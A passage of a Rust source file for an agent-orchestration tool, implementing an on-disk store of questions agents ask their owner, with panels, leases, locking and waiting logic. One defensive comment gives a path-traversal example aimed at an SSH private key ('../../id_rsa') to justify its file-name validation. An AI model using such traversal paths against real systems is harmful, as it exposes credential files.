887    pub fn say(&mut self, body: impl Into<String>) -> Result<()> {
888        match self.status {
889            QuestionStatus::Answered => bail!(
890                "question {} was already answered; there is nothing left to \
891                 discuss",
892                self.short()
893            ),
894            QuestionStatus::Abandoned => bail!(
895                "question {} was abandoned and the run behind it is gone",
896                self.short()
897            ),
898            QuestionStatus::Open => {}
899        }
900        let body = body.into();
901        if body.trim().is_empty() {
902            bail!("a message to question {} cannot be empty", self.short());
903        }
904        self.thread.push(Turn {
905            who: Who::Operator,
906            body,
907            at: Timestamp::now(),
908            note: None,
909        });
910        Ok(())
911    }
912
913    /// The agent replying to the owner's last word, in place of an answer:
914    /// same question, same id, another round.
915    ///
916    /// `choices` replaces [`Question::choices`] wholesale rather than merging,
917    /// on the same reasoning [`Questions::put_panel`] replaces a panel
918    /// wholesale: the whole point of asking back is that what should be
919    /// offered next may have changed, and a caller that wanted the old set
920    /// unchanged can simply pass it again. An empty `Vec` means free text,
921    /// exactly as it does when the question is first asked.
922    pub fn reply(&mut self, body: impl Into<String>, choices: Vec<String>) -> Result<()> {
923        match self.status {
924            QuestionStatus::Answered => bail!(
925                "question {} was already answered; replying now would not \
926                 reach anyone",
927                self.short()
928            ),
929            QuestionStatus::Abandoned => bail!(
930                "question {} was abandoned and the run behind it is gone",
931                self.short()
932            ),
933            QuestionStatus::Open => {}
934        }
935        let body = body.into();
936        if body.trim().is_empty() {
937            bail!("a reply to question {} cannot be empty", self.short());
938        }
939        // An action whose label is no longer offered could never fire.
940        self.actions.retain(|label, _| choices.contains(label));
941        self.choices = choices;
942        let unread = self.unread_from_owner().is_some();
943        self.thread.push(Turn {
944            who: Who::Agent,
945            body,
946            at: Timestamp::now(),
947            note: None,
948        });
949        // The agent has read everything up to its own reply - but only if
950        // nothing the owner said in the meantime is still unread. A second say
951        // that landed after the agent's last look must stay undelivered.
952        if !unread {
953            self.delivered_turns = self.thread.len();
954        }
955        Ok(())
956    }
957
958    /// What the owner said that the agent has not read yet, oldest first,
959    /// joined. `None` unless the question is open and such a turn exists.
960    ///
961    /// Not [`Question::waiting_on_agent`]: an agent's reply can land *after* a
962    /// second owner turn it never saw, which leaves the last turn the agent's
963    /// and the ball apparently back with the owner while a say is still unread.
964    pub fn unread_from_owner(&self) -> Option<String> {
965        if !self.status.open() {
966            return None;
967        }
968        let said = self.undelivered_owner_turns();
969        (!said.is_empty()).then(|| said.join("\n\n"))
970    }
971
972    /// Owner turns the agent has not been handed yet, oldest first, whatever
973    /// the question's status. [`Question::unread_from_owner`] adds the "still
974    /// open" guard the waiter and the deputy rely on; an answer being handed
975    /// over needs the says that came before it even though the question is
976    /// closed by then.
977    pub fn undelivered_owner_turns(&self) -> Vec<&str> {
978        let from = self.delivered_turns.min(self.thread.len());
979        self.thread[from..]
980            .iter()
981            .filter(|t| t.who == Who::Operator)
982            .map(|t| t.body.as_str())
983            .collect()
984    }
985
986    /// When the conversation last moved: the newest thread turn, or the asking
987    /// itself, in seconds. `magi ask --thread` re-arms `answer_timeout` on
988    /// every reply, so a deadline runs from here and not from `asked_at`.
989    pub fn last_activity(&self) -> i64 {
990        self.thread
991            .iter()
992            .map(|t| t.at.as_second())
993            .max()
994            .unwrap_or(0)
995            .max(self.asked_at.as_second())
996    }
997
998    /// Is the ball in the agent's court?
999    ///
1000    /// True from the moment the owner speaks back until the agent's next
1001    /// [`Question::reply`], and never on a fresh or an already-settled
1002    /// question. [`QuestionStatus`] does not move for either side of this -
1003    /// see [`Question::say`] - so this is the one place that state is
1004    /// readable at all, which is why [`crate::web::QuestionView`] carries it
1005    /// separately rather than asking the phone to infer it from the thread.
1006    pub fn waiting_on_agent(&self) -> bool {
1007        self.status.open() && matches!(self.thread.last(), Some(t) if t.who == Who::Operator)
1008    }
1009
1010    /// Should a notification go out right now?
1011    ///
1012    /// Always, for the very first ask: [`Question::thread`] is still empty, so
1013    /// there is no earlier operator turn to have already caught anyone's
1014    /// attention. After that, only once [`REPLY_QUIET_WINDOW`] has passed
1015    /// since the owner's own last word - see that constant for why the window
1016    /// exists at all and why its length is not configurable.
1017    fn should_notify(&self, now: Timestamp) -> bool {
1018        let Some(last) = self
1019            .thread
1020            .iter()
1021            .rev()
1022            .find(|t| t.who == Who::Operator)
1023            .map(|t| t.at)
1024        else {
1025            return true;
1026        };
1027        now.as_second() - last.as_second() > REPLY_QUIET_WINDOW.as_secs() as i64
1028    }
1029}
1030
1031/// A question store on disk.
1032#[derive(Debug, Clone)]
1033pub struct Questions {
1034    root: PathBuf,
1035}
1036
1037impl Questions {
1038    /// The operator's questions, `<home>/questions`.
1039    pub fn open() -> Self {
1040        Self::at(crate::run::home().join("questions"))
1041    }
1042
1043    /// A store at an explicit root. Tests use this, which is why none of them
1044    /// need the operator's real home.
1045    pub fn at(root: PathBuf) -> Self {
1046        Self { root }
1047    }
1048
1049    /// Directory holding the question files.
1050    pub fn root(&self) -> &Path {
1051        &self.root
1052    }
1053
1054    /// Path for one question id.
1055    pub fn path_of(&self, id: &str) -> PathBuf {
1056        self.root.join(format!("{id}.json"))
1057    }
1058
1059    /// Directory holding one question's panel, `<root>/<id>.panel`.
1060    pub fn panel_dir(&self, id: &str) -> PathBuf {
1061        self.root.join(format!("{id}{PANEL_DIR}"))
1062    }
1063
1064    /// Store a panel: the html, plus `assets` copied in under their base
1065    /// names. Updates `q.panel` and `q.assets`; the caller then [`put`]s the
1066    /// question, or the record on disk will deny having a panel that exists.
1067    ///
1068    /// The assets are **copied, not referenced**. An agent authors its panel
1069    /// inside a candidate worktree and points at files there, and `magi fold`
1070    /// deletes those worktrees; a question is the permanent record of a
1071    /// decision the owner took, so a panel that referenced its own images
1072    /// would render as broken boxes exactly when someone went back to ask why
1073    /// the decision was made. Copying follows symlinks - [`std::fs::copy`]
1074    /// does, and so does the [`std::fs::metadata`] the size is measured with,
1075    /// so the bytes counted and the bytes written are the same target file's -
1076    /// which is the intent: storing a link would leave the panel pointing at
1077    /// the worktree again, one indirection further away.
1078    ///
1079    /// Everything that can be rejected is rejected before the first byte is
1080    /// written, and the panel is then assembled in a scratch directory and
1081    /// swapped in. So a refusal leaves the previous panel intact, and a
1082    /// success replaces it *wholesale* rather than merging: a re-asked
1083    /// question showing one attempt's diff next to another attempt's table
1084    /// would be a panel neither agent ever wrote.
1085    ///
1086    /// [`put`]: Questions::put
1087    pub fn put_panel(&self, q: &mut Question, html: &str, assets: &[PathBuf]) -> Result<()> {
1088        if !valid_asset_name(&q.id) {
1089            bail!(
1090                "question id `{}` is not a name magi will build a panel path from",
1091                q.id
1092            );
1093        }
1094        if html.trim().is_empty() {
1095            bail!(
1096                "question {} was handed an empty panel; an empty frame reads to \
1097                 the owner as \"the agent had nothing to say\", which is a lie",
1098                q.short()
1099            );
1100        }
1101
1102        // Names, then sizes, then writing - in that order, so nothing below
1103        // can leave a partial panel on disk.
1104        let mut named: Vec<(String, &Path)> = Vec::with_capacity(assets.len());
1105        for src in assets {
1106            let name = src.file_name().and_then(|n| n.to_str()).unwrap_or_default();
1107            if !valid_asset_name(name) {
1108                bail!(
1109                    "panel asset `{}` cannot be stored: a panel file name must \
1110                     match ^[A-Za-z0-9][A-Za-z0-9._-]{{0,63}}$ and contain no `..`",
1111                    src.display()
1112                );
1113            }
1114            if let Some((_, first)) = named.iter().find(|(n, _)| n == name) {
1115                bail!(
1116                    "two panel assets are both named `{name}` - {} and {} - and \
1117                     the panel can only show one of them; rename one at the source",
1118                    first.display(),
1119                    src.display()
1120                );
1121            }
1122            named.push((name.to_owned(), src.as_path()));
1123        }
1124
1125        let mut total = html.len() as u64;
1126        for (_, src) in &named {
1127            let meta = std::fs::metadata(src)
1128                .with_context(|| format!("stat panel asset {}", src.display()))?;
1129            if !meta.is_file() {
1130                bail!(
1131                    "panel asset `{}` is not a file; a panel is html plus files \
1132                     copied beside it",
1133                    src.display()
1134                );
1135            }
1136            total = total.saturating_add(meta.len());
1137        }
1138        if total > PANEL_MAX_BYTES {
1139            bail!(
1140                "panel for question {} is {total} bytes, over magi's cap of \
1141                 {PANEL_MAX_BYTES} bytes; nothing was written",
1142                q.short()
1143            );
1144        }
1145
1146        let tmp = self.root.join(format!("{}{PANEL_TMP}", q.id));
1147        let dir = self.panel_dir(&q.id);
1148        std::fs::create_dir_all(&self.root)
1149            .with_context(|| format!("create {}", self.root.display()))?;
1150        clear_dir(&tmp)?;
1151        std::fs::create_dir(&tmp).with_context(|| format!("create {}", tmp.display()))?;
1152        if let Err(e) = fill_panel(&tmp, html, &named) {
1153            // A copy that dies halfway must not become the panel, and must not
1154            // leave scratch behind for the next call to inherit.
1155            let _ = std::fs::remove_dir_all(&tmp);
1156            return Err(e);
1157        }
1158        clear_dir(&dir)?;
1159        std::fs::rename(&tmp, &dir)
1160            .with_context(|| format!("move panel into {}", dir.display()))?;
1161
1162        q.panel = true;
1163        q.assets = named.into_iter().map(|(n, _)| n).collect();
1164        q.assets.sort_unstable();
1165        Ok(())
1166    }
1167
1168    /// The panel's html, or `None` when the question has no panel.
1169    ///
1170    /// `None` rather than an error for a missing panel because the caller is a
1171    /// web handler whose answer is 404 either way, and an unreadable panel is
1172    /// not a reason to fail the question it belongs to.
1173    pub fn panel_html(&self, id: &str) -> Option<String> {
1174        if !valid_asset_name(id) {
1175            return None;
1176        }
1177        std::fs::read_to_string(self.panel_dir(id).join(PANEL_HTML)).ok()
1178    }
1179
1180    /// One file from a panel. `Ok(None)` is "no such file"; `Err` is "that is
1181    /// not a name a panel file can have".
1182    ///
1183    /// Rejects a name failing [`valid_asset_name`] **before touching the
1184    /// filesystem**, which is the whole point of the second check: the name
1185    /// arrives from a URL, the directory is on disk where any process could
1186    /// have dropped a file, and `<root>/<id>.panel/../../id_rsa` is a path the
1187    /// operating system would resolve perfectly happily. The two callers'
1188    /// distinct outcomes - 400 for a name, 404 for a file - are why this is
1189    /// `Result<Option<_>>` rather than one flattened `Option`.
1190    pub fn panel_asset(&self, id: &str, name: &str) -> Result<Option<Vec<u8>>> {
1191        if !valid_asset_name(name) {
1192            bail!(
1193                "`{name}` is not a panel file name; it must match \
1194                 ^[A-Za-z0-9][A-Za-z0-9._-]{{0,63}}$ and contain no `..`"
1195            );
1196        }
1197        if !valid_asset_name(id) {
1198            return Ok(None);
1199        }
1200        let dir = self.panel_dir(id);
1201        if !dir.is_dir() {
1202            return Ok(None);
1203        }
1204        let path = dir.join(name);
1205        match std::fs::read(&path) {
1206            Ok(bytes) => Ok(Some(bytes)),
1207            Err(e) if e.kind() == std::io::ErrorKind::NotFound => Ok(None),
1208            Err(e) => Err(e).with_context(|| format!("read {}", path.display())),
1209        }
1210    }
1211
1212    /// Delete a question's panel, and any scratch a killed [`put_panel`] left.
1213    ///
1214    /// Succeeds when there is nothing to delete, so a caller cleaning up does
1215    /// not have to know whether a panel was ever written. The question record
1216    /// is not touched: the caller clears `panel` and `assets` and `put`s it,
1217    /// in the same order as everywhere else here.
1218    ///
1219    /// [`put_panel`]: Questions::put_panel
1220    pub fn drop_panel(&self, id: &str) -> Result<()> {
1221        if !valid_asset_name(id) {
1222            bail!("question id `{id}` is not a name magi will build a panel path from");
1223        }
1224        clear_dir(&self.panel_dir(id))?;
1225        clear_dir(&self.root.join(format!("{id}{PANEL_TMP}")))
1226    }
1227
1228    /// Path of the lease sidecar for one question id.
1229    pub fn lease_path(&self, id: &str) -> PathBuf {
1230        self.root.join(format!("{id}.lease"))
1231    }
1232
1233    /// The lease on a question, if a readable one exists.
1234    pub fn read_lease(&self, id: &str) -> Option<Lease> {
1235        let body = std::fs::read_to_string(self.lease_path(id)).ok()?;
1236        serde_json::from_str(&body).ok()
1237    }
1238
1239    /// Say, as `kind`, that something is alive and waiting on this question.
1240    ///
1241    /// Best-effort: a beat that cannot be written is a `tracing::debug`, never
1242    /// a reason to abandon a wait - the worst it costs is the waiter deciding
1243    /// the holder is gone a little early, and that is what the delivery guard
1244    /// (the seat still being busy) is there for.
1245    pub fn beat(&self, id: &str, kind: WaiterKind) {
1246        let lease = Lease {
1247            kind,
1248            pid: std::process::id(),
1249            beat_at: Timestamp::now(),
1250        };
1251        let path = self.lease_path(id);
1252        let tmp = path.with_extension("lease.tmp");
1253        let written = std::fs::create_dir_all(&self.root)
1254            .and_then(|()| std::fs::write(&tmp, serde_json::to_string(&lease).unwrap_or_default()))
1255            .and_then(|()| std::fs::rename(&tmp, &path));
1256        if let Err(e) = written {
1257            tracing::debug!("could not beat the lease on question {id}: {e}");
1258        }
1259    }
1260
1261    /// Remove the lease sidecar. Absent is fine.
1262    pub fn drop_lease(&self, id: &str) {
1263        let _ = std::fs::remove_file(self.lease_path(id));
1264    }
1265
1266    /// Read-modify-write one question under a short exclusive lock, so the
1267    /// waiter's bookkeeping, the asker's and the phone's `say` cannot overwrite
1268    /// each other with a copy that predates the others.
1269    ///
1270    /// [`Questions::put`] is an atomic *replace*, which protects a reader from
1271    /// a torn file and does nothing for two writers that both read the same
1272    /// version first. Everything that changes a question that can still be
1273    /// answered goes through here: `f` sees the current record, not one loaded
1274    /// earlier. A lock older than [`LOCK_STALE`] belongs to a writer that died
1275    /// mid-update and is broken.
1276    pub fn update<T>(
1277        &self,
1278        id: &str,
1279        f: impl FnOnce(&mut Question) -> Result<T>,
1280    ) -> Result<(Question, T)> {
1281        std::fs::create_dir_all(&self.root)
1282            .with_context(|| format!("create {}", self.root.display()))?;
1283        let lock = self.root.join(format!("{id}.lock"));
1284        let started = std::time::Instant::now();
1285        loop {
1286            match std::fs::OpenOptions::new()
1287                .write(true)
1288                .create_new(true)
1289                .open(&lock)
1290            {
1291                Ok(_) => break,
1292                Err(e) if e.kind() == std::io::ErrorKind::AlreadyExists => {
1293                    let stale = std::fs::metadata(&lock)
1294                        .and_then(|m| m.modified())
1295                        .ok()
1296                        .and_then(|t| t.elapsed().ok())
1297                        .is_some_and(|age| age > LOCK_STALE);
1298                    if stale {
1299                        let _ = std::fs::remove_file(&lock);
1300                    } else if started.elapsed() > LOCK_STALE {
1301                        bail!("could not lock question {id}");
1302                    } else {
1303                        std::thread::sleep(Duration::from_millis(15));
1304                    }
1305                }
1306                Err(e) => return Err(e).with_context(|| format!("lock {}", lock.display())),
1307            }
1308        }
1309        struct Unlock(PathBuf);
1310        impl Drop for Unlock {
1311            fn drop(&mut self) {
1312                let _ = std::fs::remove_file(&self.0);
1313            }
1314        }
1315        let _guard = Unlock(lock);
1316        let mut q = read_path(&self.path_of(id))?;
1317        let out = f(&mut q)?;
1318        self.put(&mut q)?;
1319        Ok((q, out))
1320    }
1321
1322    /// Write a question, atomically, so a process killed mid-write leaves the
1323    /// previous state readable rather than a truncated file that would strand
1324    /// the run waiting on it.
1325    pub fn put(&self, q: &mut Question) -> Result<()> {
1326        std::fs::create_dir_all(&self.root)
1327            .with_context(|| format!("create {}", self.root.display()))?;
1328        let body = serde_json::to_string_pretty(q).context("serialize question")?;
1329        let path = self.path_of(&q.id);
1330        let tmp = path.with_extension("json.tmp");
1331        let is_new = !path.exists();
1332        std::fs::write(&tmp, &body).with_context(|| format!("write {}", tmp.display()))?;
1333        std::fs::rename(&tmp, &path).with_context(|| format!("replace {}", path.display()))?;
1334        // A first write of an open question pages the operator, so a separate
1335        // notification about the same task or run is now a second page.
1336        if is_new
1337            && q.status.open()
1338            && q.node != crate::bump::NOTICE_NODE
1339            && let Some(home) = self.root.parent().filter(|p| !p.as_os_str().is_empty())
1340        {
1341            crate::notices::quiet_for(home, q);
1342        }
1343        Ok(())
1344    }
1345
1346    /// Load a question by id or unambiguous id prefix.
1347    pub fn get(&self, id: &str) -> Result<Question> {
1348        let resolved = self.resolve_id(id)?;
1349        let q = read_path(&self.path_of(&resolved))?;
1350        Ok(self.with_repair_choice(q))
1351    }
1352
1353    fn with_repair_choice(&self, q: Question) -> Question {
1354        if (q.status.open() || q.resolution().as_deref() == Some(crate::land::REPAIR))
1355            && q.node == crate::land::APPROVAL_NODE
1356            && (!q.choices.iter().any(|c| c == crate::land::REPAIR)
1357                || q.actions.get(crate::land::REPAIR)
1358                    != Some(&ChoiceAction::Resume { run: q.run.clone() }))
1359            && let Some(home) = self.root.parent()
1360            && let Ok(state) = crate::run::RunState::load_under(&q.run, home)
1361            && crate::land::repair_available(&state)
1362            && state
1363                .land_approval
1364                .as_ref()
1365                .is_some_and(|a| a.question == q.id)
1366        {
1367            match self.update(&q.id, |current| {
1368                crate::land::upgrade_repair_choice(current, &state);
1369                Ok(())
1370            }) {
1371                Ok((current, ())) => return current,
1372                Err(_) => return read_path(&self.path_of(&q.id)).unwrap_or(q),
1373            }
1374        }
1375        q
1376    }
1377
1378    /// Every question on disk: open first, then newest first.
1379    ///
1380    /// Open first because that ordering is the product - the list exists to
1381    /// show the operator what has stopped, and an answered question is history
1382    /// underneath it. Unreadable files are skipped rather than fatal: one
1383    /// corrupt question must not take the web UI down, and must certainly not
1384    /// hide the open question the operator was looking for.
1385    pub fn list(&self) -> Vec<Question> {
1386        let mut all: Vec<Question> = std::fs::read_dir(&self.root)
1387            .into_iter()
1388            .flatten()
1389            .flatten()
1390            .map(|e| e.path())
1391            .filter(|p| p.extension().is_some_and(|x| x == "json"))
1392            .filter_map(|p| read_path(&p).ok())
1393            .map(|q| self.with_repair_choice(q))
1394            .collect();
1395        all.sort_unstable_by(|a, b| {
1396            let rank = |q: &Question| u8::from(!q.status.open());
1397            rank(a).cmp(&rank(b)).then_with(|| b.id.cmp(&a.id))
1398        });
1399        all
1400    }
1401
1402    /// Open questions belonging to one run, newest first.
1403    ///
1404    /// Used to decide whether a parked run can be resumed: while this is
1405    /// non-empty, nothing about the run has changed and no agent should be
1406    /// spawned for it.
1407    pub fn open_for(&self, run: &str) -> Vec<Question> {
1408        self.list()
1409            .into_iter()
1410            .filter(|q| q.status.open() && q.run == run)
1411            .collect()
1412    }
1413
1414    /// Abandon every open question belonging to a run, and report how many.
1415    ///
1416    /// Called when a run's record is deleted. The agent that asked died with
1417    /// the run, so there is nobody left to hand an answer to, and a question
1418    /// left open would keep asking the operator for a decision that can no
1419    /// longer be delivered - the phone showed exactly that: "auth.rs というファ
1420    /// イルが見つかりません" with two buttons, for a run whose directory had
1421    /// been gone for two hours.
1422    ///
1423    /// Abandoned rather than deleted, because [`Question::abandon`] already
1424    /// means "this can no longer be answered" and the record of having asked
1425    /// is worth keeping. Answered questions are left exactly as they are.
1426    pub fn abandon_for_run(&self, run: &str, why: &str) -> Result<usize> {
1427        let mut abandoned = 0;
1428        for mut q in self.open_for(run) {
1429            q.abandon(why);
1430            self.put(&mut q)?;
1431            abandoned += 1;
1432        }
1433        Ok(abandoned)
1434    }
1435
1436    /// Abandon a run's open questions once `status` says the run is not
1437    /// coming back, worded with what it actually became.
1438    ///
1439    /// The run-deleted case above and this one are the same fact - nobody is
1440    /// left to read an answer - reached by two different doors. This is the
1441    /// one for a run that finished on its own: merged, reached `Ready` with
1442    /// nothing left to do, failed outright with no established point to
1443    /// resume from, or every candidate agreed, with evidence, that nothing
1444    /// belonged in the worktree. Those are exactly the statuses
1445    /// [`RunStatus::resumable`]
1446    /// excludes, and that is the line this draws too - deliberately not
1447    /// [`RunStatus::done`], which also counts `Blocked` and `Stalled` as
1448    /// over. Both of those can still be picked back up with the candidates,
1449    /// the review round and the seat sessions already on disk, so a question
1450    /// asked mid-round may yet get a real answer from a real resume, and
1451    /// folding it here would be exactly the mistake this function exists to
1452    /// avoid on the other side - answering back into a run that no longer
1453    /// exists to read it.
1454    ///
1455    /// A no-op, not an error, when `status` is still resumable or when there
1456    /// was nothing open to begin with - callers reach this from more than one
1457    /// place a run can settle, and a second call finding nothing left to
1458    /// abandon is the expected case, not a bug.
1459    pub fn settle_run(&self, run: &str, status: RunStatus) -> Result<usize> {
1460        if status.resumable() {
1461            return Ok(0);
1462        }
1463        let why = format!(
1464            "run {run} {}, so nothing is waiting for this answer",
1465            status.as_str()
1466        );
1467        // A post-merge notice is the exception: it is filed *because* the run
1468        // merged, and no agent waits on it - it is a to-do for the owner, not
1469        // a question a dead seat asked. Abandoning it here would erase the
1470        // only alert the moment the run settles.
1471        let mut abandoned = 0;
1472        for mut q in self.open_for(run) {
1473            if q.node == crate::bump::NOTICE_NODE {
1474                continue;
1475            }
1476            q.abandon(&why);
1477            self.put(&mut q)?;
1478            abandoned += 1;
1479        }
1480        Ok(abandoned)
1481    }
1482
1483    /// Expand an id prefix to exactly one question id. The short id the phone
1484    /// and the reports show is a suffix, so that is accepted too.
1485    pub fn resolve_id(&self, prefix: &str) -> Result<String> {
1486        if self.path_of(prefix).is_file() {
1487            return Ok(prefix.to_owned());
1488        }
1489        let hits: Vec<String> = self
1490            .list()
1491            .into_iter()
1492            .map(|q| q.id)
1493            .filter(|id| id.starts_with(prefix) || id.ends_with(prefix))
1494            .collect();
1495        match hits.len() {
1496            1 => Ok(hits.into_iter().next().expect("exactly one hit")),
1497            0 => bail!("no question matches `{prefix}`"),
1498            _ => bail!(
1499                "`{prefix}` matches {} questions: {}",
1500                hits.len(),
1501                hits.join(", ")
1502            ),
1503        }
1504    }
1505
1506    /// Newest modification time in the store, in milliseconds, for change
1507    /// detection. The web UI compares this instead of re-reading every
1508    /// question, so an idle phone on a slow link costs one `stat` per file.
1509    pub fn revision(&self) -> u64 {
1510        std::fs::read_dir(&self.root)
1511            .into_iter()
1512            .flatten()
1513            .flatten()
1514            .filter_map(|e| e.metadata().ok())
1515            .filter_map(|m| m.modified().ok())
1516            .filter_map(|t| t.duration_since(std::time::UNIX_EPOCH).ok())
1517            .map(|d| d.as_millis() as u64)
1518            .max()
1519            .unwrap_or(0)
1520    }
1521
1522    /// How many questions are open, whichever side of the conversation is
1523    /// holding the ball right now. Ten turns of back and forth between the
1524    /// owner and the agent are still one open question - see
1525    /// [`Question::say`] - so this does not drop while a reply is in
1526    /// flight. [`Self::count_needs_owner`] is the number that does.
1527    pub fn count_open(&self) -> usize {
1528        self.list().iter().filter(|q| q.status.open()).count()
1529    }
1530
1531    /// How many open questions actually need the owner right now: open, and
1532    /// not [`Question::waiting_on_agent`], or the follow-up is exhausted.
1533    ///
1534    /// This is the number a notification channel owes - the ask bar, the nav
1535    /// badge, the document title - because those exist to say "something
1536    /// needs you". An unread say stops needing the agent once its follow-up
1537    /// has spent its starts. `count_open` stays as it is for [`Self::open_for`]'s callers,
1538    /// where a round trip must not look like the run resumed.
1539    pub fn count_needs_owner(&self) -> usize {
1540        self.list()
1541            .iter()
1542            .filter(|q| q.status.open() && (!q.waiting_on_agent() || self.deputy_exhausted(q)))
1543            .count()
1544    }
1545
1546    /// The follow-up spent its starts and its final turn is no longer alive.
1547    /// Computed from the lease rather than saved with the question, so the
1548    /// owner can decide even when an unread message remains in the thread.
1549    pub fn deputy_exhausted(&self, q: &Question) -> bool {
1550        q.status.open()
1551            && q.deputy
1552                .as_ref()
1553                .is_some_and(|d| d.starts >= crate::deputy::MAX_STARTS)
1554            && !self
1555                .read_lease(&q.id)
1556                .is_some_and(|l| l.fresh(Timestamp::now()))
1557    }
1558}
1559
1560/// How a wait over [`Question`] ended.
1561#[derive(Debug, Clone, PartialEq, Eq)]
1562pub enum Wait {
1563    /// The owner decided. Carries [`Question::resolution`].
1564    Answered(String),
1565    /// The owner spoke back without deciding - see [`Question::say`]. The
1566    /// question is still [`QuestionStatus::Open`] and carries no [`Answer`];
1567    /// the caller's move is to hand this text to the agent and let it call
1568    /// `magi ask --thread` to keep talking, not to treat it as a decision.
1569    Replied(String),
1570    /// This call's [`WAIT_SLICE`] ran out with the question still
1571    /// [`QuestionStatus::Open`] and nothing having happened - not the owner
1572    /// going quiet, the clock on *this process* running out. The question is
1573    /// untouched; the caller's move is `magi ask --wait <id>` in a fresh
1574    /// process, so the wait resumes before the shell tool that would have
1575    /// killed this one gets the chance.
1576    Pending,
1577    /// Nobody said anything before the deadline, or the question was closed
1578    /// out from under the wait with no decision recorded - a run deleted out
1579    /// from under it, most often. Either way [`QuestionStatus::Abandoned`] is
1580    /// now on disk.
1581    Abandoned,
1582}
1583
1584/// File a question and wait for the owner, polling the store.
1585///
1586/// The question is updated in place from disk whenever the wait ends, so the
1587/// caller can act on it without re-reading it. `timeout` is the question's
1588/// whole `answer_timeout` budget, but this call spends at most [`WAIT_SLICE`]
1589/// of it - see [`Wait::Pending`] for what happens to the rest.
1590pub async fn ask_and_wait(
1591    q: &mut Question,
1592    store: &Questions,
1593    notify: &config::Notify,
1594    timeout: Duration,
1595) -> Result<Wait> {
1596    wait_for_owner(q, store, notify, timeout, POLL).await
1597}
1598
1599/// Resume a wait already filed, without adding a turn or notifying again.
1600///
1601/// This is `magi ask --wait <id>`'s engine: the process that owned the
1602/// previous slice is dead (the tool that ran it killed it, or it simply
1603/// exited after reporting [`Wait::Pending`]), but the question on disk never
1604/// stopped being open, and the owner was already notified about it once. A
1605/// second notification for the same unanswered question would page the
1606/// owner every [`WAIT_SLICE`] for a question they have already seen - so,
1607/// unlike [`ask_and_wait`], this skips straight to polling.
1608///
1609/// `timeout` is **not** re-armed to a fresh `answer_timeout` here - the
1610/// caller computes it as what remains until [`Question::asked_at`] plus the
1611/// configured `answer_timeout`, so stacking `--wait` calls can only ever use
1612/// up the deadline the first ask set, never push it out further.
1613pub async fn resume_wait(q: &mut Question, store: &Questions, timeout: Duration) -> Result<Wait> {
1614    wait_loop(q, store, timeout, WAIT_SLICE, POLL).await
1615}
1616
1617/// [`ask_and_wait`] with the poll interval injected.
1618///
1619/// Separate only so the tests can drive a whole wait in milliseconds instead of
1620/// sleeping through [`POLL`]; production has exactly one interval, and it is not
1621/// a knob the operator gets to tune.
1622async fn wait_for_owner(
1623    q: &mut Question,
1624    store: &Questions,
1625    cfg: &config::Notify,
1626    timeout: Duration,
1627    poll: Duration,
1628) -> Result<Wait> {
1629    // A question that is already on disk (a `--thread` reply just wrote it under
1630    // the lock) is left alone: this copy may predate an answer or say that
1631    // landed since, and writing it back would erase that.
1632    if !store.path_of(&q.id).is_file() {
1633        store.put(q).context("file the question")?;
1634    }
1635    if q.should_notify(Timestamp::now()) {
1636        if let Err(e) = notify(cfg, q).await {
1637            // A broken webhook is not a reason to throw away an implementation.
1638            // The question is already on disk and the web UI already shows it,
1639            // so the operator still has a way in; only the tap on the shoulder
1640            // is lost.
1641            tracing::warn!(
1642                "could not notify about question {}: {e:#} - the web UI is the \
1643                 only surface for it now",
1644                q.short()
1645            );
1646        }
1647    }
1648    tracing::info!(
1649        "question {} from {} is waiting for you: {}",
1650        q.short(),
1651        q.seat,
1652        q.summary
1653    );
1654    wait_loop(q, store, timeout, WAIT_SLICE, poll).await
1655}
1656
1657/// Take the wait as this process: beat the lease and note it on the record.
1658fn hold(store: &Questions, id: &str) {
1659    store.beat(id, WaiterKind::Asker);
1660    let took = store.update(id, |q| {
1661        if q.status.open() {
1662            q.waiter = Some(Waiter {
1663                kind: WaiterKind::Asker,
1664                since: Timestamp::now(),
1665            });
1666        }
1667        Ok(())
1668    });
1669    if let Err(e) = took {
1670        tracing::debug!("could not note the wait on question {id}: {e:#}");
1671    }
1672}
1673
1674/// Record that the agent has read everything so far, so the daemon waiter does
1675/// not resume a session to tell it what was already printed.
1676///
1677/// Callers must invoke this only **after** the word reached the agent's stdout:
1678/// marking first would let a tool timeout kill the process between the mark
1679/// and the print, and the waiter would then consider a word delivered that no
1680/// agent ever saw.
1681pub fn hand_over(store: &Questions, q: &mut Question) {
1682    let done = store.update(&q.id, |r| {
1683        r.delivered_turns = r.delivered_turns.max(q.thread.len());
1684        if r.status == QuestionStatus::Answered {
1685            r.answer_delivered = true;
1686        }
1687        r.waiter = None;
1688        Ok(())
1689    });
1690    match done {
1691        Ok((fresh, ())) => *q = fresh,
1692        Err(e) => tracing::debug!("could not record the hand-over of {}: {e:#}", q.short()),
1693    }
1694}
1695
1696/// What the agent is shown for an answer: the owner's says it has not read
1697/// yet, in order, then the answer. With no such say it is `answer` itself,
1698/// byte for byte.
1699pub fn answer_for_agent(q: &Question, answer: &str) -> String {
1700    let says = q.undelivered_owner_turns();
1701    if says.is_empty() {
1702        return answer.to_owned();
1703    }
1704    format!(
1705        "the owner also said, before answering:\n\n{}\n\nthe owner answered:\n\n{answer}",
1706        says.join("\n\n")
1707    )
1708}
1709
1710/// Print an answer (with any unread says before it) to `out`, flush, and only
1711/// then record the hand-over. A failed write marks nothing delivered.
1712pub fn deliver_answer(
1713    store: &Questions,
1714    q: &mut Question,
1715    answer: &str,
1716    out: &mut impl std::io::Write,
1717) -> std::io::Result<()> {
1718    writeln!(out, "{}", answer_for_agent(q, answer))?;
1719    out.flush()?;
1720    hand_over(store, q);
1721    Ok(())
1722}
1723
1724/// The polling loop shared by a fresh wait and a resumed one.
1725///
1726/// `timeout` is the budget left before the question's `answer_timeout`
1727/// truly runs out; `slice` bounds how much of that this one call spends
1728/// before handing control back. Landing on `slice` while `timeout` still has
1729/// budget left is [`Wait::Pending`] - the caller's move, not the owner's
1730/// silence. Landing on `timeout` itself - because it was no bigger than
1731/// `slice` to begin with - is the real thing, and abandons the question
1732/// exactly as a single unsliced wait always did.
1733async fn wait_loop(
1734    q: &mut Question,
1735    store: &Questions,
1736    timeout: Duration,
1737    slice: Duration,
1738    poll: Duration,
1739) -> Result<Wait> {
1740    // The owner may already have spoken back before this call ever started -
1741    // most often because they did so in the gap between an earlier call
1742    // reporting `Wait::Pending` and this one picking the wait back up with
1743    // `--wait`. That word must surface at once rather than sit unnoticed
1744    // until some *later* turn happens to change something: this call never
1745    // saw it get added, so nothing below would otherwise recognise it as
1746    // new. `last_word_awaiting_reply` reads the question's own record of
1747    // whose turn it is - see [`Question::waiting_on_agent`] - rather than a
1748    // turn count this call would have to have been there to capture.
1749    if let Some(said) = q.unread_from_owner() {
